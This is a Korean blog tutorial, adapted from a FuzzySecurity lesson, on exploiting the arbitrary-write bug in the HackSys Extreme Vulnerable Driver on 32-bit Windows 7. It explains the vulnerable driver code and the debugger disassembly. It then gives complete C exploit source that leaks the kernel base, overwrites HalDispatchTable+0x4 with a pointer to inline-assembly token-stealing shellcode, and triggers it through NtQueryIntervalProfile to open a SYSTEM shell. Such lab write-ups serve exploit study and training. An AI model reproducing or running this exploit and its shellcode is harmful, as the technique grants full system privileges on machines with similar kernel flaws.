Kernel Exploitation -> Write-What-Where

본 포스팅은 fuzzysecurity Tutorials Part 11 -> Write-What-Where을 분석 및 의역하여 작성하였습니다. Sample Windows Dirver code에 존재하는 취약점을 학습하는 데 그 목적이 있습니다.

분석환경

  • Vmware (Window 7 32bits)
  • IDA
  • Visual C 2010
  • OSR Driver Loader

 

Step 1. 취약점 분석

Write-What-Where 취약점은 공격자가 원하는 주소에 원하는 data를 넣게끔 code를 작성하였다.

NTSTATUS TriggerArbitraryOverwrite(IN PWRITE_WHAT_WHERE UserWriteWhatWhere) {
 PULONG What = NULL;
 PULONG Where = NULL;
 NTSTATUS Status = STATUS_SUCCESS;

PAGED_CODE();

__try {
 ProbeForRead((PVOID)UserWriteWhatWhere,
 sizeof(WRITE_WHAT_WHERE),
 (ULONG)__alignof(WRITE_WHAT_WHERE));

What = UserWriteWhatWhere->What;
 Where = UserWriteWhatWhere->Where;

DbgPrint("[+] UserWriteWhatWhere: 0x%p\n", UserWriteWhatWhere);
 DbgPrint("[+] WRITE_WHAT_WHERE Size: 0x%X\n", sizeof(WRITE_WHAT_WHERE));
 DbgPrint("[+] UserWriteWhatWhere->What: 0x%p\n", What);
 DbgPrint("[+] UserWriteWhatWhere->Where: 0x%p\n", Where);

#ifdef SECURE
 ProbeForRead((PVOID)Where, sizeof(PULONG), (ULONG)__alignof(PULONG));
 ProbeForRead((PVOID)What, sizeof(PULONG), (ULONG)__alignof(PULONG));

*(Where) = *(What);
 #else
 DbgPrint("[+] Triggering Arbitrary Overwrite\n");

*(Where) = *(What);

// 취약점 발생, 내가 원하는 주소에 임의의 값을 넣을 수 있다.
 #endif
 }
 __except (EXCEPTION_EXECUTE_HANDLER) {
 Status = GetExceptionCode();
 DbgPrint("[-] Exception Code: 0x%X\n", Status);
 }

return Status;
 }

code를 먼저 살펴보면 특정 구조체(WriteWhatWhere)에 8bytes만큼의 data를 넣어 보낼 수 있다. SECURE에 해당하는 경우 내가 보낸 data가 ProbeForRead() API로 User Memory에 해당하는지 검사하게 된다.

이 경우 kernel주소를 data로 보내게 되면 예외처리로 빠지게 된다.

else code를 보면 ProbeForRead()로 필터링을 거치지 않아 kernel memory영역의 data를 보낼 수 있다.

 

Step 2. Exploit

취약점은 쉽게 찾았지만 어디를 변조시켜 권한을 상승해야할지 생각해봐야 한다.

kd> u
 nt!NtQueryIntervalProfile+0x62:
 83128ecd 7507 jne nt!NtQueryIntervalProfile+0x6b (83128ed6)
 83128ecf a1ac6bf482 mov eax,dword ptr [nt!KiProfileInterval (82f46bac)]
 83128ed4 eb05 jmp nt!NtQueryIntervalProfile+0x70 (83128edb)
 83128ed6 e83ae5fbff call nt!KeQueryIntervalProfile (830e7415)
 83128edb 84db test bl,bl
 83128edd 741b je nt!NtQueryIntervalProfile+0x8f (83128efa)
 83128edf c745fc01000000 mov dword ptr [ebp-4],1
 83128ee6 8906 mov dword ptr [esi],eax

NtQueryIntervalProfile()이라는 API가 있다. User 영역에서 호출 가능한 API이다.

어셈블리를 살펴보면 중간에 nt!KeQueryIntervalProfile을 부르는 instruction이 있다.

nt!KeQueryIntervalProfile+0xd:
 830e7422 a1c81af882 mov eax,dword ptr [nt!KiProfileAlignmentFixupInterval (82f81ac8)]
 830e7427 c9 leave
 830e7428 c3 ret

nt!KeQueryIntervalProfile+0x14:
 830e7429 8945f0 mov dword ptr [ebp-10h],eax
 830e742c 8d45fc lea eax,[ebp-4]
 830e742f 50 push eax
 830e7430 8d45f0 lea eax,[ebp-10h]
 830e7433 50 push eax
 830e7434 6a0c push 0Ch
 830e7436 6a01 push 1
 830e7438 ff15fc73f482 call dword ptr [nt!HalDispatchTable+0x4 (82f473fc)]

그리고 KeQueryIntervalProfile을 살펴보면 nt!HalDispatchTable + 0x4부분으 data를 call하는 것을 볼 수 있다.

HalDispatchTable은 kernel dispatch table의 한 예로 PAE(Physical Address Extension)를 지원하는 system인 경우 kernel exe file (ntoskrnl, ntkrnlpa.exe)에 저장된다. 이 table에는 몇가지 HAL routine의 주소가 들어있으며 debugger를 사용해 해당 값들을 볼 수 있다.

KeQueryIntervalProfile API는 ring0 layer에서 실행되므로 HalDispatchTable의 주소를 구해서 HalDispatchTable + 0x4 부분을 변조시키면 shellcode를 실행 시킬 수 있다.

NTSTATUS WINAPI NtQuerySystemInformation(
 __in SYSTEM_INFORMATION_CLASS SystemInformationClass,
 __inout PVOID SystemInformation,
 __in ULONG SystemInformationLength,
 __out_opt PULONG ReturnLength);

NtQuerySystemInformation() API는 지정된 system 정보를 가져오는 API이다. 이 API를 이용해서 ntkrnlpa의 base address를 구할 수 있다.

그리고 User land에서의 ntkrnlpa의 base address를 구하고 HalDispatchTable과의 offset을 구한다. 그 offset과 Kernel land에서의 base address를 더해주면 kernel land HalDispatchTable 주소가 나오게 된다.

#include <stdio.h>
 #include <Windows.h>
 #include <WinIoCtl.h>
 #include <TlHelp32.h>
 #include <conio.h>
 #include <string.h>
 #define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread
 #define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
 #define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId
 #define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
 #define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token
 #define SYSTEM_PID 0x004 // SYSTEM Process PID
 #define HACKSIS_EVD_IOCTL_POOL_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x803, METHOD_NEITHER, FILE_ANY_ACCESS)
 typedef enum _SYSTEM_INFORMATION_CLASS{
 SystemBasicInformation = 0,
 SystemModuleInformation = 11
 }SYSTEM_INFORMATION_CLASS;
 typedef struct _MODULE{
 ULONG Reserved[2];
 PVOID Base;
 ULONG Size;
 ULONG Flags;
 USHORT Index;
 USHORT Unknown;
 USHORT LoadCount;
 USHORT ModuleNameOffset;
 CHAR ImageName[256];
 }MODULE, *PMODULE;
 typedef struct _SYSTEM_MODULE_INFORMATION{
 LONG Count;
 MODULE Module;
 }SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
 typedef NTSTATUS (WINAPI *NTQUERYSYSTEMINFORMATION)(__in SYSTEM_INFORMATION_CLASS SystemInformationClass,
 __inout PVOID SystemInformation,
 __in ULONG SystemInformationLength,
 __out_opt PULONG ReturnLength);
 PVOID GetHalDispatchTable(){
 HMODULE hNT = NULL, hModule = NULL;
 NTQUERYSYSTEMINFORMATION NtQuerySystemInformation;
 PSYSTEM_MODULE_INFORMATION pSystemModuleInformation = NULL;
 LONG ReturnLength = 0;
 PCHAR ModuleName = NULL;
 PVOID HalDispatchTable = NULL;
 hNT = LoadLibrary("ntdll.dll");
 if(!hNT){
 printf("[!] hNT error: 0x%x\n", GetLastError());
 return NULL;
 }
 NtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(hNT, "NtQuerySystemInformation");
 if(!NtQuerySystemInformation){
 printf("[!] NtQuerySystemInformation error: 0x%x\n", GetLastError());
 return NULL;
 }
 NtQuerySystemInformation(SystemModuleInformation, NULL, 0, (PULONG)&ReturnLength);
 printf("[] ReturnLength: %d, 0x%x\n", ReturnLength, ReturnLength);
 pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, ReturnLength);
 if(!pSystemModuleInformation){
 printf("[!] pSystemModuleInformation error: 0x%x\n", GetLastError());
 return NULL;
 }
 NtQuerySystemInformation(SystemModuleInformation, pSystemModuleInformation, ReturnLength, (PULONG)&ReturnLength);
 ModuleName = strrchr(pSystemModuleInformation->Module.ImageName, '\\') + 1;
 printf("[] Kernel Module Count: %d\n", pSystemModuleInformation->Count);
 printf("[] Kernel Module name: %s\n", ModuleName);
 printf("[] Kernel Module base: 0x%x\n", pSystemModuleInformation->Module.Base);
 hModule = LoadLibrary(ModuleName);
 printf("[] User Module base: 0x%x\n", hModule);
 HalDispatchTable = (PVOID)GetProcAddress(hModule, "HalDispatchTable");
 if(!HalDispatchTable){
 printf("[!] HalDispatchTable error: 0x%x\n", HalDispatchTable);
 return NULL;
 }
 printf("[] HalDispatchTable address: 0x%x\n", HalDispatchTable);
 CloseHandle(hModule);
 return pSystemModuleInformation;
 }
 int main(int argc, CHAR* argv[])
 {
 LPCSTR lpDevicename = (LPCSTR)"\\\\.\\HackSysExtremeVulnerableDriver";
 PUCHAR lpInBuffer = NULL;
 HANDLE hDriver = NULL;
 DWORD lpBytesReturned;

hDriver = CreateFile(lpDevicename,
 GENERIC_READ | GENERIC_WRITE,
 FILE_SHARE_READ | FILE_SHARE_WRITE,
 NULL,
 OPEN_EXISTING,
 FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
 NULL);
 if(hDriver == INVALID_HANDLE_VALUE){
 printf("[!] CreateFile error: 0x%x\n", GetLastError());
 exit(0);
 }
 GetHalDispatchTable();
 CloseHandle(hDriver);

return 0;
 }

Kernel Land에서의 ntkrnlpa base addres를 구한 것이다. 여기에 offset을 더해주게 되면 HalDispatchTable의 주소값을 구할 수 있다.

이제 shellcode를 추가하고 해당 HalDispatchTable + 0x4의 값과 shellcode의 주소값을 Write-What-Where 구조체를 만들어 넣어 보내주고 QueryIntervalProfile()를 호출해 준다.

#include <stdio.h>
 #include <Windows.h>
 #include <WinIoCtl.h>
 #include <TlHelp32.h>
 #include <conio.h>
 #include <string.h>
 #define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread
 #define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
 #define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId
 #define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
 #define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token
 #define SYSTEM_PID 0x004 // SYSTEM Process PID
 #define HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS)
 typedef struct _WRITE_WHAT_WHERE{
 PULONG What;
 PULONG Where;
 }WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;
 typedef enum _SYSTEM_INFORMATION_CLASS{
 SystemBasicInformation = 0,
 SystemModuleInformation = 11
 }SYSTEM_INFORMATION_CLASS;
 typedef struct _MODULE{
 ULONG Reserved[2];
 PVOID Base;
 ULONG Size;
 ULONG Flags;
 USHORT Index;
 USHORT Unknown;
 USHORT LoadCount;
 USHORT ModuleNameOffset;
 CHAR ImageName[256];
 }MODULE, *PMODULE;
 typedef struct _SYSTEM_MODULE_INFORMATION{
 LONG Count;
 MODULE Module;
 }SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
 typedef NTSTATUS (WINAPI *NTQUERYSYSTEMINFORMATION)(__in SYSTEM_INFORMATION_CLASS SystemInformationClass,
 __inout PVOID SystemInformation,
 __in ULONG SystemInformationLength,
 __out_opt PULONG ReturnLength);
 typedef NTSTATUS (WINAPI *NTQUERYINTERVALPROFILE)(__in ULONG ProfileSource,
 __out PULONG Interval);
 VOID TokenShellcode() {
 __asm {
 pushad ; Save registers state
 ; Start of Token Stealing Stub
 xor eax, eax ; Set ZERO
 mov eax, fs:[eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread
 ; _KTHREAD is located at FS:[0x124]
 mov eax, [eax + EPROCESS_OFFSET] ; Get nt!_KTHREAD.ApcState.Process
 mov ecx, eax ; Copy current process _EPROCESS structure
 mov edx, SYSTEM_PID ; WIN 7 SP1 SYSTEM process PID = 0x4
 SearchSystemPID:
 mov eax, [eax + FLINK_OFFSET] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
 sub eax, FLINK_OFFSET
 cmp [eax + PID_OFFSET], edx ; Get nt!_EPROCESS.UniqueProcessId
 jne SearchSystemPID
 mov edx, [eax + TOKEN_OFFSET] ; Get SYSTEM process nt!_EPROCESS.Token
 mov [ecx + TOKEN_OFFSET], edx ; Replace target process nt!_EPROCESS.Token
 ; with SYSTEM process nt!_EPROCESS.Token
 ; End of Token Stealing Stub
 popad ; Restore registers state
 }
 }
 PVOID GetHalDispatchTable(){
 HMODULE hNT = NULL, hModule = NULL;
 NTQUERYSYSTEMINFORMATION NtQuerySystemInformation;
 PSYSTEM_MODULE_INFORMATION pSystemModuleInformation = NULL;
 LONG offset = 0, ReturnLength = 0, KernelBase = 0;
 PCHAR ModuleName = NULL;
 PVOID HalDispatchTable = NULL, KernelHalDispatchTable = NULL;
 hNT = LoadLibrary("ntdll.dll");
 if(!hNT){
 printf("[!] hNT error: 0x%x\n", GetLastError());
 return NULL;
 }
 NtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(hNT, "NtQuerySystemInformation");
 if(!NtQuerySystemInformation){
 printf("[!] NtQuerySystemInformation error: 0x%x\n", GetLastError());
 return NULL;
 }
 NtQuerySystemInformation(SystemModuleInformation, NULL, 0, (PULONG)&ReturnLength);
 printf("[] ReturnLength: %d, 0x%x\n", ReturnLength, ReturnLength);
 pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, ReturnLength);
 if(!pSystemModuleInformation){
 printf("[!] pSystemModuleInformation error: 0x%x\n", GetLastError());
 return NULL;
 }
 NtQuerySystemInformation(SystemModuleInformation, pSystemModuleInformation, ReturnLength, (PULONG)&ReturnLength);
 ModuleName = strrchr(pSystemModuleInformation->Module.ImageName, '\\') + 1;
 KernelBase = (LONG)pSystemModuleInformation->Module.Base;
 printf("[] Kernel Module Count: %d\n", pSystemModuleInformation->Count);
 printf("[] Kernel Module name: %s\n", ModuleName);
 printf("[] Kernel Module base: 0x%x\n", KernelBase);
 hModule = LoadLibrary(ModuleName);
 HalDispatchTable = (PVOID)GetProcAddress(hModule, "HalDispatchTable");
 offset = (LONG)HalDispatchTable - (LONG)hModule;
 if(!HalDispatchTable){
 printf("[!] HalDispatchTable error: 0x%x\n", HalDispatchTable);
 return NULL;
 }
 printf("[] User Module base: 0x%x\n", hModule);
 printf("[] User HalDispatchTable address: 0x%x\n", HalDispatchTable);
 printf("[] User land offset: 0x%x\n", offset);
 KernelHalDispatchTable = (PVOID)(KernelBase + offset);
 printf("[] In Function Kernel HalDispatchTable: 0x%x\n", KernelHalDispatchTable);

CloseHandle(hModule);
 return KernelHalDispatchTable;
 }
 int main(int argc, CHAR* argv[])
 {
 LPCSTR lpDevicename = (LPCSTR)"\\\\.\\HackSysExtremeVulnerableDriver";
 PUCHAR lpInBuffer = NULL;
 HANDLE hDriver = NULL;
 HMODULE hNT = NULL;
 DWORD lpBytesReturned;
 PVOID HalDispatchTable = 0, HalDispatchTable4 = 0;
 ULONG Interval = 0;
 PWRITE_WHAT_WHERE Buffer = NULL;
 PVOID Shellcode = (PVOID)&TokenShellcode;

hDriver = CreateFile(lpDevicename,
 GENERIC_READ | GENERIC_WRITE,
 FILE_SHARE_READ | FILE_SHARE_WRITE,
 NULL,
 OPEN_EXISTING,
 FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
 NULL);
 if(hDriver == INVALID_HANDLE_VALUE){
 printf("[!] CreateFile error: 0x%x\n", GetLastError());
 exit(0);
 }
 HalDispatchTable = (PVOID)GetHalDispatchTable();
 HalDispatchTable4 = (PVOID)((PCHAR)HalDispatchTable + 0x4);
 printf("\n\n");
 printf("[] (PULONG)HalDispatchTable4: 0x%x\n", (PULONG)HalDispatchTable4);
 printf("[] (PVOID)HalDispatchTalbe4: 0x%x\n", (PVOID)HalDispatchTable4);
 Buffer = (PWRITE_WHAT_WHERE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(WRITE_WHAT_WHERE));
 if(!Buffer){
 printf("[!] Buffer error: 0x%x\n", GetLastError());
 return 0;
 }
 Buffer->What = (PULONG)&Shellcode;
 Buffer->Where = (PULONG)HalDispatchTable4;
 printf("[] What: 0x%x\n", Buffer->What);
 printf("[] Where: 0x%x\n", Buffer->Where);
 hNT = LoadLibrary("ntdll.dll");
 if(!hNT){
 printf("[!] hNT error: 0x%x\n", GetLastError());
 return 0;
 }
 NTQUERYINTERVALPROFILE NtQueryIntervalProfile = (NTQUERYINTERVALPROFILE)GetProcAddress(hNT, "NtQueryIntervalProfile");
 if(!NtQueryIntervalProfile){
 printf("[!] NtQueryIntervalProfile error: 0x%x\n", GetLastError());
 return 0;
 }
 DeviceIoControl(hDriver,
 HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE,
 (LPVOID)Buffer,
 sizeof(Buffer),
 NULL,
 0,
 &lpBytesReturned,
 NULL);
 NtQueryIntervalProfile(0xCAFE, &Interval);
 system("cmd.exe");
 CloseHandle(hDriver);

return 0;
 }

 

권한이 상승된 shell을 얻었다.

 

tip) code는 쉽게 썼지만 code에서 data 형변환이 자주 썼고 shellcode 주소값 경우에는 2중 pointer를 사용해야 했다. IDA로 먼저 어셈블리들을 살펴보고 해당 값의 유형을 어떻게 넣을지 생각해야 한다.